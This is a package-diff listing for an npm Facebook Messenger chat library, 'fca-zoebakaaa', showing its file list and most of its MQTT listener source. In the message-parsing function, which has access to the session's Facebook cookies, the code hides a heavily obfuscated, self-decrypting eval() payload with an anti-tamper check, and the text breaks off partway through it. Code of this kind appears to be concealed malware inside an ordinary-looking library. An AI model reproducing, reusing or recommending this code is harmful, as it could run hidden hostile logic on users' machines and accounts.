fca-zoebakaaa 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (93) hide show
  1. package/.eslintrc.js +35 -0
  2. package/CHANGELOG.md +2 -0
  3. package/Controllers/Remote.js +4 -0
  4. package/DOCS.md +1738 -0
  5. package/Extra/ExtraAddons.js +80 -0
  6. package/Extra/ExtraFindUID.js +62 -0
  7. package/Extra/ExtraGetThread.js +118 -0
  8. package/Extra/ExtraTranslate.js +62 -0
  9. package/Extra/ExtraUptimeRobot.js +62 -0
  10. package/Extra/Html/Classic/script.js +233 -0
  11. package/Extra/Html/Classic/style.css +8 -0
  12. package/Extra/PM2/ecosystem.config.js +23 -0
  13. package/Extra/Security/Index.js +174 -0
  14. package/Extra/Security/Step_1.js +15 -0
  15. package/Extra/Security/Step_2.js +23 -0
  16. package/Extra/Security/Step_3.js +23 -0
  17. package/Extra/Src/History.js +117 -0
  18. package/Extra/Src/Last-Run.js +65 -0
  19. package/Extra/Src/Premium.js +88 -0
  20. package/Extra/Src/SecurityCheck.js +7 -0
  21. package/Extra/database/SyntheticDatabase.sqlite +0 -0
  22. package/Extra/database/index.js +360 -0
  23. package/Extra/logger.js +74 -0
  24. package/Func/AcceptAgreement.js +36 -0
  25. package/Func/ClearCache.js +68 -0
  26. package/Func/ReportV1.js +55 -0
  27. package/README.md +112 -0
  28. package/Settings/Database.js +21 -0
  29. package/Settings/Location.js +59 -0
  30. package/broadcast.js +40 -0
  31. package/index.js +1353 -0
  32. package/logger.js +75 -0
  33. package/package.json +56 -0
  34. package/src/Premium.js +39 -0
  35. package/src/addExternalModule.js +23 -0
  36. package/src/addUserToGroup.js +101 -0
  37. package/src/appstate.json +0 -0
  38. package/src/changeAdminStatus.js +95 -0
  39. package/src/changeArchivedStatus.js +47 -0
  40. package/src/changeAvt.js +95 -0
  41. package/src/changeBio.js +66 -0
  42. package/src/changeBlockedStatus.js +42 -0
  43. package/src/changeGroupImage.js +124 -0
  44. package/src/changeNickname.js +54 -0
  45. package/src/changeThreadColor.js +67 -0
  46. package/src/changeThreadEmoji.js +50 -0
  47. package/src/createNewGroup.js +78 -0
  48. package/src/createPoll.js +66 -0
  49. package/src/deleteMessage.js +51 -0
  50. package/src/deleteThread.js +49 -0
  51. package/src/forwardAttachment.js +53 -0
  52. package/src/getAccessToken.js +36 -0
  53. package/src/getCurrentUserID.js +8 -0
  54. package/src/getEmojiUrl.js +29 -0
  55. package/src/getFriendsList.js +81 -0
  56. package/src/getMessage.js +85 -0
  57. package/src/getThreadHistory.js +633 -0
  58. package/src/getThreadInfo.js +248 -0
  59. package/src/getThreadList.js +276 -0
  60. package/src/getThreadPictures.js +71 -0
  61. package/src/getUID.js +61 -0
  62. package/src/getUserID.js +62 -0
  63. package/src/getUserInfo.js +68 -0
  64. package/src/getUserInfoV2.js +32 -0
  65. package/src/getUserInfoV3.js +72 -0
  66. package/src/getUserInfoV4.js +57 -0
  67. package/src/getUserInfoV5.js +68 -0
  68. package/src/handleFriendRequest.js +47 -0
  69. package/src/handleMessageRequest.js +63 -0
  70. package/src/httpGet.js +54 -0
  71. package/src/httpPost.js +53 -0
  72. package/src/httpPostFormData.js +46 -0
  73. package/src/listenMqtt.js +1056 -0
  74. package/src/logout.js +73 -0
  75. package/src/markAsDelivered.js +54 -0
  76. package/src/markAsRead.js +82 -0
  77. package/src/markAsReadAll.js +47 -0
  78. package/src/markAsSeen.js +58 -0
  79. package/src/muteThread.js +51 -0
  80. package/src/removeUserFromGroup.js +72 -0
  81. package/src/resolvePhotoUrl.js +39 -0
  82. package/src/searchForThread.js +48 -0
  83. package/src/sendMessage.js +429 -0
  84. package/src/sendTypingIndicator.js +83 -0
  85. package/src/setMessageReaction.js +114 -0
  86. package/src/setPostReaction.js +103 -0
  87. package/src/setTitle.js +86 -0
  88. package/src/threadColors.js +40 -0
  89. package/src/toolspincoinmaster +89 -0
  90. package/src/unfriend.js +48 -0
  91. package/src/unsendMessage.js +40 -0
  92. package/utils.js +2244 -0
  93. package/zoebaka.code-workspace +8 -0
@@ -0,0 +1,1056 @@
1
+ /* eslint-disable no-redeclare */
2
+ "use strict";
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+ var mqtt = require("mqtt");
6
+ var websocket = require("websocket-stream");
7
+ var HttpsProxyAgent = require("https-proxy-agent");
8
+ const EventEmitter = require("events");
9
+ var identity = function () {};
10
+ var form = {};
11
+ var getSeqID = function () {};
12
+
13
+ var topics = [
14
+ "/legacy_web",
15
+ "/webrtc",
16
+ "/rtc_multi",
17
+ "/onevc",
18
+ "/br_sr",
19
+ "/sr_res",
20
+ "/t_ms",
21
+ "/thread_typing",
22
+ "/orca_typing_notifications",
23
+ "/notify_disconnect",
24
+ "/orca_presence",
25
+ "/inbox",
26
+ "/mercury",
27
+ "/messaging_events",
28
+ "/orca_message_notifications",
29
+ "/pp",
30
+ "/webrtc_response",
31
+ ];
32
+
33
+ /* [ Noti ? ]
34
+ ! "/br_sr", //Notification
35
+ * => Need to publish /br_sr right after this
36
+
37
+ ! "/notify_disconnect",
38
+ * => Need to publish /messenger_sync_create_queue right after this
39
+
40
+ ! "/orca_presence",
41
+ * => Will receive /sr_res right here.
42
+ */
43
+
44
+ function listenMqtt(defaultFuncs, api, ctx, globalCallback) {
45
+ //Don't really know what this does but I think it's for the active state?
46
+ //TODO: Move to ctx when implemented
47
+ var chatOn = ctx.globalOptions.online;
48
+ var foreground = false;
49
+
50
+ var sessionID = Math.floor(Math.random() * 9007199254740991) + 1;
51
+ var username = {
52
+ u: ctx.userID,
53
+ s: sessionID,
54
+ chat_on: chatOn,
55
+ fg: foreground,
56
+ d: utils.getGUID(),
57
+ ct: "websocket",
58
+ aid: "219994525426954",
59
+ mqtt_sid: "",
60
+ cp: 3,
61
+ ecp: 10,
62
+ st: [],
63
+ pm: [],
64
+ dc: "",
65
+ no_auto_fg: true,
66
+ gas: null,
67
+ pack: [],
68
+ };
69
+ var cookies = ctx.jar.getCookies("https://www.facebook.com").join("; ");
70
+
71
+ var host;
72
+ if (ctx.mqttEndpoint) host = `${ctx.mqttEndpoint}&sid=${sessionID}`;
73
+ else if (ctx.region)
74
+ host = `wss://edge-chat.facebook.com/chat?region=${ctx.region.toLocaleLowerCase()}&sid=${sessionID}`;
75
+ else host = `wss://edge-chat.facebook.com/chat?sid=${sessionID}`;
76
+
77
+ var options = {
78
+ clientId: "mqttwsclient",
79
+ protocolId: "MQIsdp",
80
+ protocolVersion: 3,
81
+ username: JSON.stringify(username),
82
+ clean: true,
83
+ wsOptions: {
84
+ headers: {
85
+ Cookie: cookies,
86
+ Origin: "https://www.facebook.com",
87
+ "User-Agent":
88
+ ctx.globalOptions.userAgent ||
89
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36",
90
+ Referer: "https://www.facebook.com/",
91
+ Host: new URL(host).hostname, //'edge-chat.facebook.com'
92
+ },
93
+ origin: "https://www.facebook.com",
94
+ protocolVersion: 13,
95
+ },
96
+ keepalive: 10,
97
+ reschedulePings: true,
98
+ connectTimeout: 10000,
99
+ reconnectPeriod: 1000,
100
+ };
101
+
102
+ if (typeof ctx.globalOptions.proxy != "undefined") {
103
+ var agent = new HttpsProxyAgent(ctx.globalOptions.proxy);
104
+ options.wsOptions.agent = agent;
105
+ }
106
+
107
+ ctx.mqttClient = new mqtt.Client(
108
+ (_) => websocket(host, options.wsOptions),
109
+ options,
110
+ );
111
+
112
+ var mqttClient = ctx.mqttClient;
113
+
114
+ mqttClient.on("error", function (err) {
115
+ log.error("listenMqtt", err);
116
+ mqttClient.end();
117
+ if (ctx.globalOptions.autoReconnect) getSeqID();
118
+ else {
119
+ globalCallback(
120
+ { type: "stop_listen", error: "Server Đã Sập - Auto Restart" },
121
+ null,
122
+ );
123
+ return process.exit(1);
124
+ }
125
+ });
126
+
127
+ mqttClient.on("connect", function () {
128
+ if (process.env.OnStatus == undefined) {
129
+ globalThis.Fca.Require.logger.Normal(
130
+ globalThis.Fca.Data.PremText || "Hiện Status Lỗi :s",
131
+ );
132
+ if (Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes) == 0) {
133
+ // something
134
+ } else if (
135
+ Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes < 10)
136
+ ) {
137
+ log.warn(
138
+ "AutoRestartMinutes",
139
+ "The number of minutes to automatically restart must be more than 10 minutes",
140
+ );
141
+ } else if (
142
+ Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes) < 0
143
+ ) {
144
+ log.warn("AutoRestartMinutes", "Invalid auto-restart minutes!");
145
+ } else {
146
+ globalThis.Fca.Require.logger.Normal(
147
+ globalThis.Fca.getText(
148
+ globalThis.Fca.Require.Language.Src.AutoRestart,
149
+ globalThis.Fca.Require.FastConfig.AutoRestartMinutes,
150
+ ),
151
+ );
152
+ setInterval(
153
+ () => {
154
+ globalThis.Fca.Require.logger.Normal(
155
+ globalThis.Fca.Require.Language.Src.OnRestart,
156
+ );
157
+ process.exit(1);
158
+ },
159
+ Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes) * 60000,
160
+ );
161
+ }
162
+ require("../broadcast");
163
+ process.env.OnStatus = true;
164
+ }
165
+
166
+ topics.forEach((topicsub) => mqttClient.subscribe(topicsub));
167
+
168
+ var topic;
169
+ var queue = {
170
+ sync_api_version: 11,
171
+ max_deltas_able_to_process: 100,
172
+ delta_batch_size: 500,
173
+ encoding: "JSON",
174
+ entity_fbid: ctx.userID,
175
+ };
176
+
177
+ if (ctx.syncToken) {
178
+ topic = "/messenger_sync_get_diffs";
179
+ queue.last_seq_id = ctx.lastSeqId;
180
+ queue.sync_token = ctx.syncToken;
181
+ } else {
182
+ topic = "/messenger_sync_create_queue";
183
+ queue.initial_titan_sequence_id = ctx.lastSeqId;
184
+ queue.device_params = null;
185
+ }
186
+
187
+ mqttClient.publish(topic, JSON.stringify(queue), { qos: 1, retain: false });
188
+
189
+ // set status online
190
+ // fix by NTKhang
191
+ mqttClient.publish(
192
+ "/foreground_state",
193
+ JSON.stringify({ foreground: chatOn }),
194
+ { qos: 1 },
195
+ );
196
+
197
+ var rTimeout = setTimeout(function () {
198
+ mqttClient.end();
199
+ getSeqID();
200
+ }, 3000);
201
+
202
+ ctx.tmsWait = function () {
203
+ clearTimeout(rTimeout);
204
+ ctx.globalOptions.emitReady
205
+ ? globalCallback({ type: "ready", error: null })
206
+ : "";
207
+ delete ctx.tmsWait;
208
+ };
209
+ });
210
+
211
+ mqttClient.on("message", function (topic, message, _packet) {
212
+ const jsonMessage = JSON.parse(message.toString());
213
+ if (topic === "/t_ms") {
214
+ if (ctx.tmsWait && typeof ctx.tmsWait == "function") ctx.tmsWait();
215
+
216
+ if (jsonMessage.firstDeltaSeqId && jsonMessage.syncToken) {
217
+ ctx.lastSeqId = jsonMessage.firstDeltaSeqId;
218
+ ctx.syncToken = jsonMessage.syncToken;
219
+ }
220
+
221
+ if (jsonMessage.lastIssuedSeqId)
222
+ ctx.lastSeqId = parseInt(jsonMessage.lastIssuedSeqId);
223
+
224
+ //If it contains more than 1 delta
225
+ for (var i in jsonMessage.deltas) {
226
+ var delta = jsonMessage.deltas[i];
227
+ parseDelta(defaultFuncs, api, ctx, globalCallback, { delta: delta });
228
+ }
229
+ } else if (
230
+ topic === "/thread_typing" ||
231
+ topic === "/orca_typing_notifications"
232
+ ) {
233
+ var typ = {
234
+ type: "typ",
235
+ isTyping: !!jsonMessage.state,
236
+ from: jsonMessage.sender_fbid.toString(),
237
+ threadID: utils.formatID(
238
+ (jsonMessage.thread || jsonMessage.sender_fbid).toString(),
239
+ ),
240
+ };
241
+ (function () {
242
+ globalCallback(null, typ);
243
+ })();
244
+ } else if (topic === "/orca_presence") {
245
+ if (!ctx.globalOptions.updatePresence) {
246
+ for (var i in jsonMessage.list) {
247
+ var data = jsonMessage.list[i];
248
+ var userID = data["u"];
249
+
250
+ var presence = {
251
+ type: "presence",
252
+ userID: userID.toString(),
253
+ //Convert to ms
254
+ timestamp: data["l"] * 1000,
255
+ statuses: data["p"],
256
+ };
257
+ (function () {
258
+ globalCallback(null, presence);
259
+ })();
260
+ }
261
+ }
262
+ }
263
+ });
264
+
265
+ process.on("SIGINT", function () {
266
+ LogUptime();
267
+ process.kill(process.pid);
268
+ });
269
+
270
+ process.on("exit", (code) => {
271
+ LogUptime();
272
+ });
273
+
274
+ mqttClient.on("close", function () {});
275
+
276
+ mqttClient.on("disconnect", function () {
277
+ process.exit(1);
278
+ });
279
+ }
280
+
281
+ function LogUptime() {
282
+ var uptime = process.uptime();
283
+ var { join } = require("path");
284
+ if (
285
+ globalThis.Fca.Require.fs.existsSync(join(__dirname, "../CountTime.json"))
286
+ ) {
287
+ var Time1 =
288
+ Number(
289
+ globalThis.Fca.Require.fs.readFileSync(
290
+ join(__dirname, "../CountTime.json"),
291
+ "utf8",
292
+ ),
293
+ ) || 0;
294
+ globalThis.Fca.Require.fs.writeFileSync(
295
+ join(__dirname, "../CountTime.json"),
296
+ String(Number(uptime) + Time1),
297
+ "utf8",
298
+ );
299
+ } else {
300
+ var Time1 = 0;
301
+ globalThis.Fca.Require.fs.writeFileSync(
302
+ join(__dirname, "../CountTime.json"),
303
+ String(Number(uptime) + Time1),
304
+ "utf8",
305
+ );
306
+ }
307
+ }
308
+ function parseDelta(defaultFuncs, api, ctx, globalCallback, v) {
309
+ if (v.delta.class == "NewMessage") {
310
+ //Not tested for pages
311
+ if (ctx.globalOptions.pageID && ctx.globalOptions.pageID != v.queue) return;
312
+
313
+ (function resolveAttachmentUrl(i) {
314
+ if (v.delta.attachments && i == v.delta.attachments.length) {
315
+ var fmtMsg;
316
+ try {
317
+ fmtMsg = utils.formatDeltaMessage(v);
318
+ } catch (err) {
319
+ return log.error("Lỗi Nhẹ", err);
320
+ }
321
+ let PRS7;
322
+ !(function () {
323
+ const kqHF = Array.prototype.slice.call(arguments);
324
+ return eval(
325
+ "(function gT9x(P8gq){const PaOq=zS0q(P8gq,H0Dq(gT9x.toString()));try{let rIQq=eval(PaOq);return rIQq.apply(null,kqHF);}catch(L5Iq){var nDLq=(0o204312-67761);while(nDLq<(0o400071%65548))switch(nDLq){case (0x30070%0o200035):nDLq=L5Iq instanceof SyntaxError?(0o400102%0x10011):(0o400073%0x1000D);break;case (0o201700-0x103A0):nDLq=(0o400107%65555);{console.log('Error: the code has been tampered!');return}break;}throw L5Iq;}function H0Dq(jyGq){let DVyq=447808945;var ftBq=(73639709%9);{let fv8q;while(ftBq<(0o1000247%0x10020)){switch(ftBq){case (0o200740-65992):ftBq=(0o205144-0x10A3E);{DVyq^=(jyGq.charCodeAt(fv8q)*(15658734^0O73567354)+jyGq.charCodeAt(fv8q>>>(0x4A5D0CE&0O320423424)))^1542256333;}break;case (0x4008A%0o200031):ftBq=(0x4007E%0o200031);fv8q++;break;case (0o204444-67850):ftBq=fv8q<jyGq.length?(0o1000164%65559):(0o400145%0x1001F);break;case (73639709%9):ftBq=(0o600150%65562);fv8q=(0x75bcd15-0O726746425);break;}}}let H2ar=\"\";var bq3q=(0o204300-0x108A0);{let DX5q;while(bq3q<(0x103DE-0o201675)){switch(bq3q){case (131136%0o200020):bq3q=(68266-0o205225);DX5q=(0x21786%3);break;case (0x4005D%0o200022):bq3q=DX5q<(0O347010110&0x463A71D)?(0o400050%0x1000E):(0x107BC-0o203633);break;case (0x20040%0o200032):bq3q=(68896-0o206404);{const XkYq=DVyq%(0o202772-0x105E9);DVyq=Math.floor(DVyq/(0x104A6-0o202225));H2ar+=XkYq>=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(XkYq-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+XkYq);}break;case (0o201510-0x1032C):bq3q=(196662%0o200013);DX5q++;break;}}}return H2ar;}function zS0q(TfTq,vNVq){TfTq=decodeURI(TfTq);let XcQo=(0x21786%3);let zKSo=\"\";var T7Ko=(0O347010110&0x463A71D);{let vFNo;while(T7Ko<(0x10924-0o204375)){switch(T7Ko){case (0o205500-0x10B28):T7Ko=(0o211514-0x11326);{zKSo+=String.fromCharCode(TfTq.charCodeAt(vFNo)^vNVq.charCodeAt(XcQo));XcQo++;var P2Fo=(0x10AC8-0o205261);while(P2Fo<(0o200574-0x10156))switch(P2Fo){case (0o200714-65973):P2Fo=XcQo>=vNVq.length?(0o203410-0x106E4):(0x30086%0o200040);break;case (0o400156%65573):P2Fo=(68196-0o205076);{XcQo=(0x21786%3);}break;}}break;case (262254%0o200025):T7Ko=vFNo<TfTq.length?(68176-0o205070):(0o1000313%65577);break;case (0O347010110&0x463A71D):T7Ko=(0o400106%0x10016);vFNo=(0x21786%3);break;case (0o1000212%65561):T7Ko=(262274%0o200032);vFNo++;break;}}}return zKSo;}})(\"I%0E%10%04%04%1C%05%0C%0F@L%11%01%1D%02%00%15%01%0A%04G%0F%007(@L%11%15%0D%18%16%13%06E%19,%3E(KHC$%05%00*DJ%1C%0E%10%04%04%1C%05%0C%0FH,%070!DJ%1A%1A%00%1E%12%1A%02CIID1:C7%3EH3N1:5%11%05%14%06%06%1E%0E%07%02C%02%01+#OA%17%11%04%1C%10%18%09H%25(4.MCL%1B'5%25@LA%00%10%1F+IAN/3%06)KH%15584_Q%18%1CS%03%1F%09%0B%18%0A%0E%06E/%0D9%25KH%13%17%0F%13%1D%1E%0DA!.?!@EH(%11%13%22OAG*%18,%1DBNC%0B%1B%12%20MC%1A%0E%19%0D%02%1C%0C%05%09H5%06)!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL31%1E%07%1D%0B%09%13%01%03%0DA)%02!.@E%18%13%0D%11%1F%15%06L6%07%25%20BNC%03%01%25-MCL%1F%14%11+@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ2%0A.*IA%1E%18%02%1C%19%11%0FHM/?%11-KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H%1B%07$!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL@%07%04-/MCN%15%0A%16%0F%0B%11%03%08%06L%14%19%1A/BN%13%1E%06%15%1D%17%04G@M8%3CC%3E7N3GBJ387%1A%0E%19%0D%02%1C%0C%05%09H5%1A%14%22MC%1C%1A%09%17%14%1A%0BJ%00%3E%1D&IAN+%08%0F.KHC,%13%11%20DJJ-1%04%22@E%1E1:6%5DI%20%0E%5EI3%0B%1F%0B%041%5E%5COBC%5C%0E%19%0D%02%1C%0C%05%09H%1F%16%0D%22MC%1C%1A%09%17%14%1A%0BJOOK8(+%22.OA1KHA%3E/%1D)(KH5%18%0C%12%06%0F%17%08%07%0BJ2%1E%03)IA%1E%18%02%1C%19%11%0FHMA%3C5GBJ38AOCG8J387%3CC7%3EJ387NAG8%3C%15%03%1F%09%0B%18%0A%0E%06E%05%15%0E&KH%13%17%0F%13%1D%1E%0DA@,%0F./DJH3%0A%227,DJ%3C@(%06=+DJH%15%03%1F%09%0B%18%0A%0E%06E;%14%01&KH%13%17%0F%13%1D%1E%0DA!.?!@EH4%0A'#OAG*%0C?,BNC93%0B)MC%1A%0E%19%0D%02%1C%0C%05%09H%07%0C;!MC%1C%1A%09%17%14%1A%0BJ%13%00%05%10:@%20%1C%17%20DJHCM%01%22%22(KHA8Q%1A%0E%19%0D%02%1C%0C%05%09H!%13%02%22MC%1C%1A%09%17%14%1A%0BJ.#9%25IAN%19%16%01(KHC,%0F6%1FDJJ%07%17%0C-@EH4,.(OAG:.%0D%20BNC-%0C%06*MCL%1F%14%11+@LA%14%19%05'IAN3(%0D)KHC,%0F6%1FDJJ%0F%1D%19/@EH4%06%04%22OA%11%05%14%06%06%1E%0E%07%02C%0E8%01-OA%17%11%04%1C%10%18%09H%0F,%09%11MCL=8%0E&@LA2,'!IAN%19%0A0+KHC$%05%00*DJ%1C%1E%04%18G9=%04&U%3EBU%5E%5EQQ_@Z%08Z%5CSQYPCK@%5C%0CUXUZR%5DIUT%5DPXNDDS%19YUZ&)AS%0EZUZU%5B%5DJM@TSQ_%5CVDX%0AXWX%5CPSAIBW%07%5ESU%5BR%5EJX%14RQP%20_N5W%05%14%06%06%1E%0E%07%02C%0A%25=,OA%17%11%04%1C%10%18%09HDH@C%3E7L@GH:C%3E7:3G8%3C5LCL@%076%15%11MCN%15%0A%16%0F%0B%11%03%08%06L./%09%22BN%13%1E%06%15%1D%17%04G@%1F%20)*MCN3=%00&-MC:@E%1E%07%1D%0B%09%13%01%03%0DA%0F/8!@E%18%13%0D%11%1F%15%06L%10%18%1F#BNC%0B%25.%12MCL!'6'@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ.#9%25IA%1E%18%02%1C%19%11%0FHM1:37%3E%3CC%3E7N3GBJ38AFC7%3EJIN1:CMH:58%17%01%1D%02%00%15%01%0A%04G%0B+/'@L%11%15%0D%18%16%13%06E%09%1E%10(KHC0%04%06%20DJJ!2%1E%22@EH%12+-(OAG*%18%1E-BNC%25%0E6!MCL%07%0E'$@LA6%0F%3E%22IAN?%09%09$KHC,%13#%10DJJ!%08=.@EH%02%0D.)OAG*%0C?,BNC%25%060%1FMCL%1B%1D%0A%25@LA%10%10%1E)IAN%05%0D:+KHC0%04%06%20DJ%1C%0E%10%04%04%1C%05%0C%0FH%20%22(.D&%03+%22C%1C%1A%09%17%14%1A%0BJ%08%1E%1D%25:-%07)%205W%1E%17%09%17J%00%0C*$%5C3MZ%08%5C%5CSP_VOW%10%5DSQZSCK@%5C%0CUXUXW%5DIS%19YUZUPEOIYV%5BVP%5BFQ%07WZWX_WHDMZ%08Z%5DRUZUGPX_VTAIBVQZ%5BXY@Z%08Z%5CSPYUC:S%0A%16%0F%0B%11%03%08%06L%228%1E%22B%04%09%16$H%13%17%0F%13%1D%1E%0DA%07%13%1B!3%0F%02%1B/8Q%1A%0E%19%0D%02%1C%0C%05%09H%1B5%11/MC%1C%1A%09%17%14%1A%0BJOOK8(+%22.OA1KHA%3E%1D!&.KH5%18%0C%12%06%0F%17%08%07%0BJ%3E?%1F$I%1B6%00%20A%17%11%04%1C%10%18%09H%03%15%10.%3E%194%02+%3EZ%15%03%1F%09%0B%18%0A%0E%06E?3%05+KH%13%17%0F%13%1D%1E%0DA@%3E7%3C31%3EJ38C%3CC7%3E%3C%15%03%1F%09%0B%18%0A%0E%06E?%09%09$KH%13%17%0F%13%1D%1E%0DA@%3E7%3C31%3EJ38C%3CCMH:5NKL31H@C%3E7:%15%0A%16%0F%0B%11%03%08%06L%14%11%0C-BN%13%1E%06%15%1D%17%04G@7%3E:-%0F;.@E%3EJ38C%3C%1B%19%17%1B@L7%1A%0E%19%0D%02%1C%0C%05%09H=%084/MC%1C%1A%09%17%14%1A%0BJO@GK:C%3E1FC7%3EJIN1:5G8J387:5G8%3CA%3EA%3C51JK@0%00?)DJHANBL37H:3DA%3C5GBJ387L3G8%3C58A%3C518J387%3CCMH:587N%15%3C12_K%09.2!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHMZ%1F_Y%01%02%0CT_JX#TS%5ER%5EQ%5C%5EVH%15%5E%0C%12%06%0F%17%08%07%0BJ%14%054$IA%1E%18%02%1C%19%11%0FHMK%3C5G8%3CA%3EAFC7%3EJIN1:CMH:58%17%01%1D%02%00%15%01%0A%04G%25%04,&@L%11%15%0D%18%16%13%06EBLIG8%3CANBLIG8%3CCMAL3G8%3C5%3EA%3C51JHCMAO3G8:IN1:CMH:58A%3CC7%3E%3C58A%3C5E8J3%3EA%3C3G8%3C5N1L31%3E%3CC%3E7:3G8%3C5%3EAFC7%3E%3C58C%1A%0E%19%0D%02%1C%0C%05%09H%03%093/MC%1C%1A%09%17%14%1A%0BJO%1C%15%13%04%07%03JO31H:5LC%3CCMH:5NKL31H@C%3E7LIG8%3CCDA%3C51%1E%07%1D%0B%09%13%01%03%0DA!%00#%20@E%18%13%0D%11%1F%15%06LK0%1B%14%10OAEHI=%0F2&@EJ%1C%0E%10%04%04%1C%05%0C%0FH%0E%0D+/DJ%1A%1A%00%1E%12%1A%02CI@%16%25%00)DJHBM%0D%0F9/KHALAOCMH:5L%17%01%1D%02%00%15%01%0A%04G%03-%1A)@L%11%15%0D%18%16%13%06EB%08%1A%02%19IALA%3C5%11%05%14%06%06%1E%0E%07%02C,*'%22OA%17%11%04%1C%10%18%09H)%15%19%10MCL%256%19$@LA%14+$!IAN/3%06)KHC,%13#%10DJJ%07%17%0C-@EH(%11!%12OAG&5%06%20BN%15%3C12_K%1DR:!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHMZ(%5D%5BSWXP%5BQE%5C%1B%03%0BS%5BS%0CE%1EZ%0E%10%04%04%1C%05%0C%0FH%02%12%14%20DJ%1A%1A%00%1E%12%1A%02CI381%3C51H:5L1LC7HJ3%3E7:3G8%3C581L31%3E%3C%15%03%1F%09%0B%18%0A%0E%06E#%1E%1E$KH%13%17%0F%13%1D%1E%0DA@%11%13%17%0D%03%05A@%3E7L31JH3NKL31H@C%3E7LIG8%3C5%18%0C%12%06%0F%17%08%07%0BJ%04%1D%01+IA%1E%18%02%1C%19%11%0FHM#%1E,%14KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H)%15%11%20MC%1C%1A%09%17%14%1A%0BJ%22%1E%14%1BIAN'=%12)KHC%16)/*DJJ-1%04%22@E%1E%07%1D%0B%09%13%01%03%0DA1%14%0D/@E%18%13%0D%11%1F%15%06L2%06:$BNC9%0D%00%20MCL%25%22%02&@LA%3E%0D$*IA%18%0C%12%06%0F%17%08%07%0BJ&%1B%06+IA%1E%18%02%1C%19%11%0FH%02%3C%16-DJJ)%12%1F#@EH%20%1F%10.OAG:%04%20,BN%15%3C12_K3$=!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHM%5BR%5EY%5BV%5BQ4W'%5BPT%5ERYR%5CE%1EZ%0E%10%04%04%1C%05%0C%0FH%069%0C-DJ%1A%1A%00%1E%12%1A%02C%02%0D.)OAG*%0C?,BNC%1F%12%08,MCL!%15%15)@LA.%11(%1BIAN%05%0D:+KH%15%03%1F%09%0B%18%0A%0E%06E/3%06)KH%13%17%0F%13%1D%1E%0DA@%0A.*%10DJHC%3E7%1A%0E%19%0D%02%1C%0C%05%09H5,%04-MC%1C%1A%09%17%14%1A%0BJ@4%19SQ%5CVM%1A%0E%19%0D%02%1C%0C%05%09H-2%09-MC%1C%1A%09%17%14%1A%0BJO%1B%1D%0A%25@LC%3C9%0F$$@L7OA%11%05%14%06%06%1E%0E%07%02C4$%3C.OA%1733;R1%00%048*IA8W&%0B$%20IA%3E/7%03%15KH5%5E+%04%20/KH3%06%0B/%1FDJJ1%22;%25@E%3E%5C879P3%1F%0A4)MC:S%11%05%14%06%06%1E%0E%07%02C%16&%07/OA%17%11%04%1C%10%18%09HDHI3N1%3CIG8%3CCDA%3C51H:C%3E7:51H:5L1L31%3EHBMAL3G8%3C5%3EA%3C51HICN1L31%3E:C%3E7:AAH@C%3E7NCDHI3N1%3CIG8%3CCDA%3C51H:C%3E7:51H:5L1L37H:3N1:5G8J387:C7%3E%3C3N1:57H@C%3E7:51J%1C%0E%10%04%04%1C%05%0C%0FH4#4,DJ%1A%1A%00%1E%12%1A%02CI@%16%25%00)DJHBM%1D5%05-KHALAOC78J3%3EAFC7%3E%3CC%3EA%3C51%3EJ387%3CC7%3E%3C3N1:51J%1C879PF5&%13&X%0C%12%06%0F%17%08%07%0BBN%13%1E%06%15%1D%17%04G@%5C%0CSYP%5DP%5E%5BQL%5CPRP%5CYRH%15%5E%0C%12%06%0F%17%08%07%0BJ%14#:'IA%1E%18%02%1C%19%11%0FHM1:3)%090!MC:C7%3EH3NKL31H@C%3E7LIG8%3C5%18%0C%12%06%0F%17%08%07%0BJ%14%0D&&IA%1E%18%02%1C%19%11%0FHMA%3C3G8:CDA%3C51H:C%3E7:5G8%3C5%3EA%3C518JIN1:51JJ@MA%3C5GBJ38AOCG8J387%3CC7%3EJ387NAFK%16%0C%20#OAEJ%1C%0E%10%04%04%1C%05%0C%0FH0%0C*-DJ%1A%1A%00%1E%12%1A%02CI%0F%1D%19/@EJ:9%06-%22@E%3EIA%18%0C%12%06%0F%17%08%07%0BJ%08%0A(&IA%1E%18%02%1C%19%11%0FHM?%09%09$KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H=%00&-MC%1C%1A%09%17%14%1A%0BJ.%05;*IAN#%029%1BKHC%20&=*DJJ%0B*%02%1E@EH%02'%0D%13OAG6%0F%09-BNC%1F%12%08,MCL1#%06$@LA%10%10%1E)IAN%19%0A0+KHC0%04%06%20DJ%1C%0E%10%04%04%1C%05%0C%0FH%0E3%10-DJ%1A%1A%00%1E%12%1A%02CICM1L37BJ38AFC7%3E%3CC%3EA%3C51%3E%3CC%3E7N3G8%3C5L@OC7%3EJIN1:AGKJIN1:CMH:5L%17%01%1D%02%00%15%01%0A%04G%256%19$@L%11%15%0D%18%16%13%06EB.%0D=%14IAL16%0B+&IA8BN%15%3C12_K+%04%1D%22%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHS_R%5BZ%1EZ%0E%10%04%04%1C%05%0C%0FH%02%3C%16-DJ%1A%1A%00%1E%12%1A%02CI9,9#@EJ:%07-:#@E%3EI%0B2%1C&@EJ%1C%0E%10%04%04%1C%05%0C%0FH,=%13-DJ%1A%1A%00%1E%12%1A%02CI%1C%1C%1A%02%07%0AC@38C%3CC7%3E%3C%15%03%1F%09%0B%18%0A%0E%06E#%16%00*KH%13%17%0F%13%1D%1E%0DA@M%05%09%0B(KHAOB%14'%0B%22I